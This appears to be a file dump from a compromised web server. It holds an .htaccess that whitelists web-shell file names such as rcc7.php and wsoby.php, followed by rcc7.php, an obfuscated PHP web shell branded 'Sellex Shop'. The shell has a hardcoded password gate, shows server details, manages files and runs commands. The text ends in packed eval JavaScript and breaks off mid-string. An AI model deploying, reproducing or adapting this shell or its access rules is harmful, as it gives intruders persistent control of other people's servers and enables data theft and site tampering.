'.(php|Php|PHp|PHP|pHp|PhP|php5|php6|php7|php.PHP|php.Php|php.PHp|php.PHP|php.pHP|PHP.PHP|php.PHP5|php.PHP6|php4|php3|php.PHP7|php.Php|php.PHp|php.PhP|php.phP|php.phtml|php.PHTML|phtm|PHTM|Phtm|PHtm|PHTm|PhTm|PhTM||PHP.php|PHP.pHP|php56|phar|Phar|pHar|phAr|phaR|pht|Pht|pHt|phT|PHt|PHT|shtml|Shtml|SHtml|SHTml|SHTMl|SHTML|SHtmL|ShtmL|ShTmL|ShtML|ShtMl|shTMl|shTML|phtml|Phtml|pHtml|phTml|phtMl|phtmL|PHtml|PHTml|PHTMl|PHTML|Phtml|PhTml|pHtmL|PHtML|PHTml)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch "\.(jpg|png|pdf|xml|txt|js|css)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch '^(index.php|index.html|sitemap.xml|robots.txt|an7.php|robot.txt|rcc7.php|test1.php|bu7.php|prosellers7.php|pu.php|bu7.PhP7|rcc.PhP7|btest1.PhP7|prosellers6.PhP7|pu.PhP7|xl7.php|xl.PhP7|fs6.php|prosellers6.php|byp.php|lfu.php|pu7.php|helper.php|tools.php|wsoby.php|about.php|byp7.php|unzipper.php|fs7.php|f7.php|about.php|fm.php|radio.php)$'> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^\."> Order allow,deny Deny from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> 01/rcc7.php000077700000262662151514460360006365 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if (isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo "\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\6